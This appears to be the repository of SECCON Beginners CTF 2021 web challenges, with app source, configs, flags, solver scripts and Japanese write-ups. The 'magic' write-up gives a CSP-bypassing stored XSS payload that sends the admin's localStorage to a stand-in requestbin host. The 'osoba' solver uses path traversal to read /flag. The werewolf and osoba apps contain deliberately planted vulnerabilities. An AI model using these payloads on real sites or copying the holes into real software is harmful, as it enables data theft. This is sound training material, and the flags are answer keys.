43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /web/magic/build/magic/views/register.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Register - Magic Memo App 6 | 7 | 8 | 9 | 10 |
11 |
12 |
13 |

Register

14 |
15 |
16 |
17 |
18 |
19 | 20 |
21 | 22 |
23 |

The username must be 8-64 characters in length.

24 |
25 |
26 | 27 |
28 | 29 |
30 |

The password must be 8-64 characters in length, and contain at least 1 lower case letter, and 1 numeric character.

31 |
32 | 33 |
34 | 35 |
36 |
37 | <% if (message !== "") { %> 38 |
39 |

<%= message %>

40 |
41 | <% } %> 42 |

Do you already have an account? Go login.

43 |
44 |
45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /web/magic/build/magic/views/report.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Report - Magic Memo App 6 | 7 | 8 | 9 | 10 |
11 |
12 |
13 |

Report

14 |
15 |
16 |
17 |

Back to Top page

18 |
19 |
20 |
21 | 22 |
23 |
24 |
25 |
26 | 27 |
28 |
29 |
30 |
31 |

If you set login as path, admin will check 32 | https://magic.quals.beginners.seccon.jp/login

33 | 34 |
35 | 36 |
37 |
38 | <% if (success !== "") { %> 39 |
40 |

<%= success %>

41 |
42 | <% } %> 43 | <% if (error !== "") { %> 44 |
45 |

<%= error %>

46 |
47 | <% } %> 48 |
49 |
50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /web/magic/build/nginx/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM nginx:latest 2 | 3 | COPY html /usr/share/nginx/html 4 | 5 | COPY default.conf /etc/nginx/conf.d/default.conf 6 | -------------------------------------------------------------------------------- /web/magic/build/nginx/default.conf: -------------------------------------------------------------------------------- 1 | server { 2 | listen 80; 3 | listen [::]:80; 4 | server_name localhost; 5 | 6 | server_tokens off; 7 | 8 | gzip on; 9 | gzip_types text/css application/javascript; 10 | 11 | location /static { 12 | root /usr/share/nginx/html; 13 | } 14 | 15 | location / { 16 | proxy_pass http://magic:3000; 17 | proxy_set_header Host $http_host; 18 | proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; 19 | proxy_set_header X-Forwarded-Host $http_host; 20 | proxy_set_header X-Forwarded-Server $host; 21 | proxy_set_header X-Real-IP $remote_addr; 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /web/magic/build/nginx/html/static/index.js: -------------------------------------------------------------------------------- 1 | if (localStorage.getItem("memo")) { 2 | document.getElementById("memoField").value = localStorage.getItem("memo"); 3 | } 4 | 5 | document.getElementById("memoField").addEventListener("change", (event) => { 6 | localStorage.setItem("memo", document.getElementById("memoField").value); 7 | }); 8 | 9 | document.getElementById("saveMemo").addEventListener("click", (event) => { 10 | localStorage.removeItem("memo"); 11 | }); 12 | 13 | document.getElementById("copyMagicLink").addEventListener("click", (event) => { 14 | const token = document.getElementById("magicLink").value; 15 | const link = document.location.origin + "/magic?token=" + token; 16 | navigator.clipboard.writeText(link); 17 | }); 18 | -------------------------------------------------------------------------------- /web/magic/files/crawl.js: -------------------------------------------------------------------------------- 1 | const USERNAME = process.env.USERNAME; // admin username 2 | const PASSWORD = process.env.PASSWORD; // admin password 3 | const APP_URL = process.env.APP_URL; // https://magic.quals.beginners.seccon.jp/ 4 | const FLAG = process.env.FLAG; // FLAG!!! 5 | 6 | const browser = await puppeteer.launch({ 7 | args: [ 8 | "--no-sandbox", 9 | "--disable-background-networking", 10 | "--disk-cache-dir=/dev/null", 11 | "--disable-default-apps", 12 | "--disable-extensions", 13 | "--disable-gpu", 14 | "--disable-sync", 15 | "--disable-translate", 16 | "--hide-scrollbars", 17 | "--metrics-recording-only", 18 | "--mute-audio", 19 | "--no-first-run", 20 | "--safebrowsing-disable-auto-update", 21 | ], 22 | }); 23 | const page = await browser.newPage(); 24 | 25 | // login admin's page 26 | await page.goto(APP_URL + "login", { 27 | waitUntil: "networkidle2", 28 | timeout: 3000, 29 | }); 30 | await page.type('input[name="username"]', USERNAME); 31 | await page.type('input[name="password"]', PASSWORD); 32 | await Promise.all([ 33 | page.click('button[type="submit"]'), 34 | page.waitForNavigation({ 35 | waitUntil: "networkidle2", 36 | timeout: 3000, 37 | }), 38 | ]); 39 | 40 | // type FLAG in memo field 41 | await page.type('input[name="text"]', FLAG); 42 | await page.click("h1"); 43 | 44 | // Oh, a URL has arrived. Let's check it. 45 | // (If you set `login` as path in Report page, admin accesses `https://magic.quals.beginners.seccon.jp/login` here.) 46 | await page.goto(APP_URL + path, { 47 | waitUntil: "networkidle2", 48 | timeout: 3000, 49 | }); 50 | 51 | await page.close(); 52 | await browser.close(); 53 | -------------------------------------------------------------------------------- /web/magic/files/magic/.dockerignore: -------------------------------------------------------------------------------- 1 | node_modules 2 | -------------------------------------------------------------------------------- /web/magic/files/magic/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM node:14 2 | 3 | WORKDIR /app 4 | 5 | COPY package.json ./ 6 | COPY yarn.lock ./ 7 | 8 | RUN yarn 9 | 10 | COPY . . 11 | 12 | RUN chmod +x ./bin/wait 13 | 14 | CMD ./bin/wait && yarn start 15 | -------------------------------------------------------------------------------- /web/magic/files/magic/bin/wait: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/magic/files/magic/bin/wait -------------------------------------------------------------------------------- /web/magic/files/magic/bin/www: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env node 2 | 3 | /** 4 | * Module dependencies. 5 | */ 6 | 7 | var app = require('../app'); 8 | var debug = require('debug')('service:server'); 9 | var http = require('http'); 10 | 11 | /** 12 | * Get port from environment and store in Express. 13 | */ 14 | 15 | var port = normalizePort(process.env.PORT || '3000'); 16 | app.set('port', port); 17 | 18 | /** 19 | * Create HTTP server. 20 | */ 21 | 22 | var server = http.createServer(app); 23 | 24 | /** 25 | * Listen on provided port, on all network interfaces. 26 | */ 27 | 28 | server.listen(port); 29 | server.on('error', onError); 30 | server.on('listening', onListening); 31 | 32 | /** 33 | * Normalize a port into a number, string, or false. 34 | */ 35 | 36 | function normalizePort(val) { 37 | var port = parseInt(val, 10); 38 | 39 | if (isNaN(port)) { 40 | // named pipe 41 | return val; 42 | } 43 | 44 | if (port >= 0) { 45 | // port number 46 | return port; 47 | } 48 | 49 | return false; 50 | } 51 | 52 | /** 53 | * Event listener for HTTP server "error" event. 54 | */ 55 | 56 | function onError(error) { 57 | if (error.syscall !== 'listen') { 58 | throw error; 59 | } 60 | 61 | var bind = typeof port === 'string' 62 | ? 'Pipe ' + port 63 | : 'Port ' + port; 64 | 65 | // handle specific listen errors with friendly messages 66 | switch (error.code) { 67 | case 'EACCES': 68 | console.error(bind + ' requires elevated privileges'); 69 | process.exit(1); 70 | break; 71 | case 'EADDRINUSE': 72 | console.error(bind + ' is already in use'); 73 | process.exit(1); 74 | break; 75 | default: 76 | throw error; 77 | } 78 | } 79 | 80 | /** 81 | * Event listener for HTTP server "listening" event. 82 | */ 83 | 84 | function onListening() { 85 | var addr = server.address(); 86 | var bind = typeof addr === 'string' 87 | ? 'pipe ' + addr 88 | : 'port ' + addr.port; 89 | debug('Listening on ' + bind); 90 | } 91 | -------------------------------------------------------------------------------- /web/magic/files/magic/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | magic: 5 | build: ./ 6 | environment: 7 | - SESSION_SECRET=xxxx 8 | - MYSQL_HOST=mysql 9 | - MYSQL_PORT=3306 10 | - MYSQL_USER=user 11 | - MYSQL_DATABASE=db 12 | - MYSQL_PASSWORD=pass 13 | - REDIS_HOST=redis 14 | - REDIS_PORT=6379 15 | - WAIT_HOSTS=mysql:3306 16 | - WAIT_HOSTS_TIMEOUT=120 17 | ports: 18 | - 80:3000 19 | mysql: 20 | image: mysql:5.7 21 | environment: 22 | - MYSQL_USER=user 23 | - MYSQL_DATABASE=db 24 | - MYSQL_PASSWORD=pass 25 | - MYSQL_ROOT_PASSWORD=root 26 | command: mysqld --character-set-server=utf8mb4 --collation-server=utf8mb4_unicode_ci --max_connections=1000 27 | volumes: 28 | - ./init:/docker-entrypoint-initdb.d 29 | redis: 30 | image: redis:6-alpine 31 | -------------------------------------------------------------------------------- /web/magic/files/magic/init/init.sql: -------------------------------------------------------------------------------- 1 | use `db`; 2 | 3 | DROP TABLE IF EXISTS `user`; 4 | CREATE TABLE user ( 5 | `id` bigint NOT NULL AUTO_INCREMENT PRIMARY KEY, 6 | `name` VARCHAR(255) NOT NULL UNIQUE, 7 | `pass` VARCHAR(255) NOT NULL, 8 | `magic_token` VARCHAR(255) NOT NULL UNIQUE, 9 | INDEX idx_name (`name`), 10 | INDEX idx_magic_token (`magic_token`) 11 | ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8mb4; 12 | 13 | DROP TABLE IF EXISTS `memo`; 14 | CREATE TABLE memo ( 15 | `id` bigint NOT NULL AUTO_INCREMENT PRIMARY KEY, 16 | `user_id` int NOT NULL, 17 | `text` TEXT NOT NULL, 18 | INDEX idx_user_id (`user_id`) 19 | ) ENGINE=InnoDB DEFAULT CHARACTER SET utf8mb4; 20 | 21 | REVOKE all privileges ON db.* FROM user; 22 | GRANT SELECT ON db.* TO user; 23 | GRANT INSERT ON db.* TO user; 24 | GRANT DELETE ON db.* TO user; 25 | -------------------------------------------------------------------------------- /web/magic/files/magic/package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "service", 3 | "version": "0.0.0", 4 | "private": true, 5 | "scripts": { 6 | "start": "node ./bin/www" 7 | }, 8 | "dependencies": { 9 | "bcrypt": "^5.0.1", 10 | "connect-redis": "^5.2.0", 11 | "cookie-parser": "^1.4.5", 12 | "csurf": "^1.11.0", 13 | "debug": "^4.3.1", 14 | "ejs": "^3.1.6", 15 | "express": "^4.17.1", 16 | "express-session": "^1.17.1", 17 | "http-errors": "^1.8.0", 18 | "ioredis": "^4.27.2", 19 | "morgan": "^1.10.0", 20 | "mysql": "^2.18.1", 21 | "uuid": "^8.3.2" 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /web/magic/files/magic/public/static/index.js: -------------------------------------------------------------------------------- 1 | if (localStorage.getItem("memo")) { 2 | document.getElementById("memoField").value = localStorage.getItem("memo"); 3 | } 4 | 5 | document.getElementById("memoField").addEventListener("change", (event) => { 6 | localStorage.setItem("memo", document.getElementById("memoField").value); 7 | }); 8 | 9 | document.getElementById("saveMemo").addEventListener("click", (event) => { 10 | localStorage.removeItem("memo"); 11 | }); 12 | 13 | document.getElementById("copyMagicLink").addEventListener("click", (event) => { 14 | const token = document.getElementById("magicLink").value; 15 | const link = document.location.origin + "/magic?token=" + token; 16 | navigator.clipboard.writeText(link); 17 | }); 18 | -------------------------------------------------------------------------------- /web/magic/files/magic/views/error.ejs: -------------------------------------------------------------------------------- 1 |

<%= message %>

2 |

<%= error.status %>

3 | -------------------------------------------------------------------------------- /web/magic/files/magic/views/login.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Login - Magic Memo App 6 | 7 | 8 | 9 | 10 |
11 |
12 |
13 |

Login

14 |
15 |
16 |
17 |
18 |
19 | 20 |
21 | 22 |
23 |
24 |
25 | 26 |
27 | 28 |
29 |
30 | 31 |
32 | 33 |
34 |
35 | <% if (message !== "") { %> 36 |
37 |

<%= message %>

38 |
39 | <% } %> 40 |

You don't have an account? Go register.

41 |
42 |
43 | 44 | 45 | 46 | -------------------------------------------------------------------------------- /web/magic/files/magic/views/register.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Register - Magic Memo App 6 | 7 | 8 | 9 | 10 |
11 |
12 |
13 |

Register

14 |
15 |
16 |
17 |
18 |
19 | 20 |
21 | 22 |
23 |

The username must be 8-64 characters in length.

24 |
25 |
26 | 27 |
28 | 29 |
30 |

The password must be 8-64 characters in length, and contain at least 1 lower case letter, and 1 numeric character.

31 |
32 | 33 |
34 | 35 |
36 |
37 | <% if (message !== "") { %> 38 |
39 |

<%= message %>

40 |
41 | <% } %> 42 |

Do you already have an account? Go login.

43 |
44 |
45 | 46 | 47 | 48 | -------------------------------------------------------------------------------- /web/magic/files/magic/views/report.ejs: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Report - Magic Memo App 6 | 7 | 8 | 9 | 10 |
11 |
12 |
13 |

Report

14 |
15 |
16 |
17 |

Back to Top page

18 |
19 |
20 |
21 | 22 |
23 |
24 |
25 |
26 | 27 |
28 |
29 |
30 |
31 |

If you set login as path, admin will check 32 | https://magic.quals.beginners.seccon.jp/login

33 | 34 |
35 | 36 |
37 |
38 | <% if (success !== "") { %> 39 |
40 |

<%= success %>

41 |
42 | <% } %> 43 | <% if (error !== "") { %> 44 |
45 |

<%= error %>

46 |
47 | <% } %> 48 |
49 |
50 | 51 | 52 | 53 | -------------------------------------------------------------------------------- /web/magic/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-alpine 2 | 3 | WORKDIR /app 4 | ADD . /app 5 | 6 | RUN pip install -r requirements.txt 7 | 8 | CMD ["python", "/app/solver.py"] 9 | -------------------------------------------------------------------------------- /web/magic/solver/requirements.txt: -------------------------------------------------------------------------------- 1 | requests == 2.25.1 2 | beautifulsoup4 == 4.9.3 3 | -------------------------------------------------------------------------------- /web/magic/writeup.md: -------------------------------------------------------------------------------- 1 | ## 解法 2 | 3 | 1. メモにローカルストレージを抜き出すscriptを仕込みます 4 | 5 | CSP(script-src 'self')が設定されているので単純なscriptタグでは発火しません 6 | 7 | マジックリンクでのログインに失敗したときにユーザー入力(トークン)が反映されたレスポンスを返すので、ここでJavascriptを作成して`script src`で読み込みます 8 | 9 | よって以下のコードで発火します 10 | 11 | ```html 12 | 13 | ``` 14 | 15 | FLAGは管理者のローカルストレージにセットされているので以下のコードで盗みます 16 | 17 | ```js 18 | fetch("https://requestbin.example.com/?ctf4bflag="+encodeURI(localStorage.getItem("memo"))); 19 | ``` 20 | 21 | しかし`/magic?token=`でトークンがレスポンスに埋め込まれるときにエスケープされます 22 | 23 | 上記のJavascriptコードではダブルクオートがエスケープされるので`String.fromCharCode`を使って置き換えます 24 | 25 | ```js 26 | fetch(String.fromCharCode(104,116,116,112,115,58,47,47,114,101,113,117,101,115,116,98,105,110,46,101,120,97,109,112,108,101,46,99,111,109,47,63,99,116,102,52,98,102,108,97,103,61)+encodeURI(localStorage.getItem(String.fromCharCode(109,101,109,111)))); 27 | ``` 28 | 29 | `+`をurl encodeします 30 | 31 | ```js 32 | fetch(String.fromCharCode(104,116,116,112,115,58,47,47,114,101,113,117,101,115,116,98,105,110,46,101,120,97,109,112,108,101,46,99,111,109,47,63,99,116,102,52,98,102,108,97,103,61)%2BencodeURI(localStorage.getItem(String.fromCharCode(109,101,109,111)))); 33 | ``` 34 | 35 | scriptタグに仕込んでメモに書き込みます 36 | 37 | ```html 38 | 39 | ``` 40 | 41 | 2. MagicLink機能でXSSを仕込んだアカウントにログインできるURLを生成します 42 | 43 | 44 | 45 | 3. 2で作成したURLをバグ報告ページで送信し、管理者にアクセスさせます 46 | 47 | 4. 管理者は送られたリンクを踏む前に自分のアカウントのページでFLAGをメモに書き込みます(途中まで記入したメモをローカルストレージへ保存する機能がついている) 48 | 49 | 5. 管理者はMagicLinkでXSSを仕込んだアカウントのページに遷移してそこで1のXSSが発火し、途中まで記入したメモが抜き取ることができます 50 | -------------------------------------------------------------------------------- /web/osoba/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen} -------------------------------------------------------------------------------- /web/osoba/README.md: -------------------------------------------------------------------------------- 1 | # Osoba 2 | 3 | ## 問題文 4 | 5 | 美味しいお蕎麦を食べたいですね。フラグはサーバの `/flag` にあります! 6 | 7 | {{ URL }} 8 | 9 | ## 難易度 10 | 11 | Beginner 12 | 13 | ## 概要 14 | 15 | N/A 16 | -------------------------------------------------------------------------------- /web/osoba/build/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-buster 2 | 3 | COPY flag /flag 4 | COPY ./src /app 5 | 6 | RUN pip install -r /app/requirements.txt 7 | 8 | WORKDIR /app 9 | CMD ["uwsgi", "--ini", "uwsgi.ini"] 10 | -------------------------------------------------------------------------------- /web/osoba/build/app/flag: -------------------------------------------------------------------------------- 1 | ctf4b{omisoshiru_oishi_keredomo_tsukuruno_taihen} -------------------------------------------------------------------------------- /web/osoba/build/app/src/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, send_file, make_response 2 | 3 | app = Flask(__name__) 4 | 5 | @app.route("/", methods=["GET", "POST"]) 6 | def index(): 7 | page = request.args.get('page', 'public/index.html') 8 | response = make_response(send_file(page)) 9 | response.content_type = "text/html" 10 | return response 11 | 12 | if __name__ == '__main__': 13 | app.run(host="0.0.0.0", port=8080) -------------------------------------------------------------------------------- /web/osoba/build/app/src/public/kikin.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | お蕎麦情報 2021 8 | 9 | 10 | 11 |
12 |
13 |
14 | 22 |

蕎麦が痩せた土地でもよく実り、短期間でも収穫できるため、凶作であっても蕎麦をまけばよいということ。

23 |
24 |
25 |
26 | 27 | 28 | -------------------------------------------------------------------------------- /web/osoba/build/app/src/public/neck.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | お蕎麦情報 2021 8 | 9 | 10 | 11 |
12 |
13 |
14 | 22 |

不可能なことのたとえ。

23 |
24 |
25 |
26 | 27 | 28 | -------------------------------------------------------------------------------- /web/osoba/build/app/src/public/wip.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | お蕎麦情報 2021 8 | 9 | 10 | 11 |
12 |
13 |
14 |
15 |
16 |

エラー

17 | 18 |
19 |
20 | このページは準備中です。 21 |
22 |
23 |
24 |
25 |
26 | 27 | 28 | -------------------------------------------------------------------------------- /web/osoba/build/app/src/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==1.1.2 2 | uWSGI==2.0.18 -------------------------------------------------------------------------------- /web/osoba/build/app/src/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app:app 3 | uid = 1000 4 | gid = 1000 5 | socket = 0.0.0.0:5000 6 | workers = 4 7 | threads = 4 8 | harakiri = 5 9 | master = true 10 | -------------------------------------------------------------------------------- /web/osoba/build/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | app: 5 | build: 6 | context: app 7 | dockerfile: Dockerfile 8 | restart: always 9 | 10 | nginx: 11 | image: nginx:alpine 12 | restart: always 13 | ports: 14 | - "80:80" 15 | volumes: 16 | - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro 17 | -------------------------------------------------------------------------------- /web/osoba/build/nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; 2 | worker_processes auto; 3 | pid /run/nginx.pid; 4 | worker_rlimit_nofile 20000; 5 | 6 | events { 7 | worker_connections 4096; 8 | multi_accept on; 9 | use epoll; 10 | } 11 | 12 | http { 13 | log_format with_time '$remote_addr - $remote_user [$time_local] ' 14 | '"$request" $status $body_bytes_sent ' 15 | '"$http_referer" "$http_user_agent" $request_time'; 16 | access_log /var/log/nginx/access.log with_time; 17 | error_log /var/log/nginx/error.log warn; 18 | 19 | sendfile on; 20 | tcp_nopush on; 21 | tcp_nodelay on; 22 | types_hash_max_size 2048; 23 | server_tokens off; 24 | 25 | include /etc/nginx/mime.types; 26 | default_type application/octet-stream; 27 | 28 | server { 29 | listen 80 default_server; 30 | 31 | server_name _; 32 | 33 | location / { 34 | include uwsgi_params; 35 | uwsgi_pass app:5000; 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /web/osoba/files/osoba/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8-buster 2 | 3 | COPY flag /flag 4 | COPY ./src /app 5 | 6 | RUN pip install -r /app/requirements.txt 7 | 8 | WORKDIR /app 9 | CMD ["uwsgi", "--ini", "uwsgi.ini"] 10 | -------------------------------------------------------------------------------- /web/osoba/files/osoba/app/flag: -------------------------------------------------------------------------------- 1 | ctf4b{これはダミーフラグなので submit しても正答にはなりません} -------------------------------------------------------------------------------- /web/osoba/files/osoba/app/src/app.py: -------------------------------------------------------------------------------- 1 | from flask import Flask, request, send_file, make_response 2 | 3 | app = Flask(__name__) 4 | 5 | @app.route("/", methods=["GET", "POST"]) 6 | def index(): 7 | page = request.args.get('page', 'public/index.html') 8 | response = make_response(send_file(page)) 9 | response.content_type = "text/html" 10 | return response 11 | 12 | if __name__ == '__main__': 13 | app.run(host="0.0.0.0", port=8080) -------------------------------------------------------------------------------- /web/osoba/files/osoba/app/src/public/kikin.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | お蕎麦情報 2021 8 | 9 | 10 | 11 |
12 |
13 |
14 | 22 |

蕎麦が痩せた土地でもよく実り、短期間でも収穫できるため、凶作であっても蕎麦をまけばよいということ。

23 |
24 |
25 |
26 | 27 | 28 | -------------------------------------------------------------------------------- /web/osoba/files/osoba/app/src/public/neck.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | お蕎麦情報 2021 8 | 9 | 10 | 11 |
12 |
13 |
14 | 22 |

不可能なことのたとえ。

23 |
24 |
25 |
26 | 27 | 28 | -------------------------------------------------------------------------------- /web/osoba/files/osoba/app/src/public/wip.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | お蕎麦情報 2021 8 | 9 | 10 | 11 |
12 |
13 |
14 |
15 |
16 |

エラー

17 | 18 |
19 |
20 | このページは準備中です。 21 |
22 |
23 |
24 |
25 |
26 | 27 | 28 | -------------------------------------------------------------------------------- /web/osoba/files/osoba/app/src/requirements.txt: -------------------------------------------------------------------------------- 1 | Flask==1.1.2 2 | uWSGI==2.0.18 -------------------------------------------------------------------------------- /web/osoba/files/osoba/app/src/uwsgi.ini: -------------------------------------------------------------------------------- 1 | [uwsgi] 2 | module = app:app 3 | uid = 1000 4 | gid = 1000 5 | socket = 0.0.0.0:5000 6 | workers = 4 7 | threads = 4 8 | harakiri = 5 9 | master = true 10 | -------------------------------------------------------------------------------- /web/osoba/files/osoba/docker-compose.yml: -------------------------------------------------------------------------------- 1 | version: "3" 2 | 3 | services: 4 | app: 5 | build: 6 | context: app 7 | dockerfile: Dockerfile 8 | restart: always 9 | 10 | nginx: 11 | image: nginx:alpine 12 | restart: always 13 | ports: 14 | - "80:80" 15 | volumes: 16 | - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro 17 | -------------------------------------------------------------------------------- /web/osoba/files/osoba/nginx/nginx.conf: -------------------------------------------------------------------------------- 1 | user nginx; 2 | worker_processes auto; 3 | pid /run/nginx.pid; 4 | worker_rlimit_nofile 20000; 5 | 6 | events { 7 | worker_connections 4096; 8 | multi_accept on; 9 | use epoll; 10 | } 11 | 12 | http { 13 | log_format with_time '$remote_addr - $remote_user [$time_local] ' 14 | '"$request" $status $body_bytes_sent ' 15 | '"$http_referer" "$http_user_agent" $request_time'; 16 | access_log /var/log/nginx/access.log with_time; 17 | error_log /var/log/nginx/error.log warn; 18 | 19 | sendfile on; 20 | tcp_nopush on; 21 | tcp_nodelay on; 22 | types_hash_max_size 2048; 23 | server_tokens off; 24 | 25 | include /etc/nginx/mime.types; 26 | default_type application/octet-stream; 27 | 28 | server { 29 | listen 80 default_server; 30 | 31 | server_name _; 32 | 33 | location / { 34 | include uwsgi_params; 35 | uwsgi_pass app:5000; 36 | } 37 | } 38 | } 39 | -------------------------------------------------------------------------------- /web/osoba/solver/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.7-alpine 2 | 3 | ENV CTF4B_HOST=0.0.0.0 4 | ENV CTF4B_PORT=80 5 | 6 | RUN pip install requests 7 | 8 | COPY ./solver.py /solver.py 9 | 10 | CMD ["python", "/solver.py"] -------------------------------------------------------------------------------- /web/osoba/solver/solver.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | 4 | def main(): 5 | response = requests.get( 6 | f"https://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}/?page=../../../../flag", 7 | ) 8 | print(f"[*] FLAG: {response.text}") 9 | 10 | if __name__ == '__main__': 11 | main() -------------------------------------------------------------------------------- /web/osoba/writeup.md: -------------------------------------------------------------------------------- 1 | 自明な Directory Traversal 脆弱性があるので、問題文で指定されたファイルを読むだけ。 2 | 3 | ```python 4 | import requests 5 | import os 6 | 7 | def main(): 8 | response = requests.get( 9 | f"http://{os.getenv('CTF4B_HOST')}:{os.getenv('CTF4B_PORT')}/?page=../../../../flag", 10 | ) 11 | print(f"[*] FLAG: {response.text}") 12 | 13 | if __name__ == '__main__': 14 | main() 15 | ``` 16 | -------------------------------------------------------------------------------- /web/werewolf/FLAG: -------------------------------------------------------------------------------- 1 | ctf4b{there_are_so_many_hackers_among_us} -------------------------------------------------------------------------------- /web/werewolf/README.md: -------------------------------------------------------------------------------- 1 | # Werewolf 2 | ## 問題文 3 | I wish I could play as a werewolf... 4 | 5 | {{ URL }} 6 | 7 | ## 難易度 8 | Beginner 9 | 10 | ## 概要 11 | cf. https://github.com/SECCON/2021_beginnersctf_ctf/issues/16 12 | -------------------------------------------------------------------------------- /web/werewolf/build/.env: -------------------------------------------------------------------------------- 1 | CTF4B_HOST=0.0.0.0 2 | CTF4B_PORT=10001 3 | CTF4B_FLAG=ctf4b{there_are_so_many_hackers_among_us} -------------------------------------------------------------------------------- /web/werewolf/build/app/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.2-alpine 2 | 3 | WORKDIR /usr/src/app 4 | 5 | COPY . . 6 | RUN apk add gcc build-base linux-headers && \ 7 | pip install -r requirements.txt 8 | 9 | CMD ["uwsgi", "--ini", "uwsgi.ini"] 10 | -------------------------------------------------------------------------------- /web/werewolf/build/app/app.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | from flask import Flask, render_template, request, session 4 | 5 | # ==================== 6 | 7 | app = Flask(__name__) 8 | app.FLAG = os.getenv("CTF4B_FLAG") 9 | 10 | # ==================== 11 | 12 | class Player: 13 | def __init__(self): 14 | self.name = None 15 | self.color = None 16 | self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN']) 17 | # :-) 18 | # self.__role = random.choice(['VILLAGER', 'FORTUNE_TELLER', 'PSYCHIC', 'KNIGHT', 'MADMAN', 'WEREWOLF']) 19 | 20 | @property 21 | def role(self): 22 | return self.__role 23 | 24 | # :-) 25 | # @role.setter 26 | # def role(self, role): 27 | # self.__role = role 28 | 29 | 30 | # ==================== 31 | 32 | @app.route("/", methods=["GET", "POST"]) 33 | def index(): 34 | if request.method == 'GET': 35 | return render_template('index.html') 36 | 37 | if request.method == 'POST': 38 | player = Player() 39 | 40 | for k, v in request.form.items(): 41 | player.__dict__[k] = v 42 | 43 | return render_template('result.html', 44 | name=player.name, 45 | color=player.color, 46 | role=player.role, 47 | flag=app.FLAG if player.role == 'WEREWOLF' else '' 48 | ) 49 | 50 | # ==================== 51 | 52 | if __name__ == '__main__': 53 | app.run(host=os.getenv("CTF4B_HOST"), port=os.getenv("CTF4B_PORT")) -------------------------------------------------------------------------------- /web/werewolf/build/app/requirements.txt: -------------------------------------------------------------------------------- 1 | click==7.1.1 2 | Flask==1.1.2 3 | itsdangerous==1.1.0 4 | Jinja2==2.11.2 5 | MarkupSafe==1.1.1 6 | uWSGI==2.0.18 7 | Werkzeug==1.0.1 8 | -------------------------------------------------------------------------------- /web/werewolf/build/app/static/FORTUNE_TELLER.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/werewolf/build/app/static/FORTUNE_TELLER.png -------------------------------------------------------------------------------- /web/werewolf/build/app/static/KNIGHT.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/werewolf/build/app/static/KNIGHT.png -------------------------------------------------------------------------------- /web/werewolf/build/app/static/MADMAN.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/werewolf/build/app/static/MADMAN.png -------------------------------------------------------------------------------- /web/werewolf/build/app/static/PSYCHIC.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/werewolf/build/app/static/PSYCHIC.png -------------------------------------------------------------------------------- /web/werewolf/build/app/static/VILLAGER.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/werewolf/build/app/static/VILLAGER.png -------------------------------------------------------------------------------- /web/werewolf/build/app/static/WEREWOLF.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SECCON/Beginners_CTF_2021/90766cae336fdd5880c509ca944467206a0d6cea/web/werewolf/build/app/static/WEREWOLF.png -------------------------------------------------------------------------------- /web/werewolf/build/app/templates/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | Werewolf 8 | 9 | 10 | 11 | 12 | 13 |
14 |
15 |
16 |

17 | Werewolf 18 |

19 |
20 |
21 |
22 | 23 |
24 |
25 |
26 |
27 |

28 |
29 |
30 | 31 |
32 | 33 |
34 |
35 | 36 | 45 |
46 |
47 | 48 |
49 |
50 |
51 |
52 |
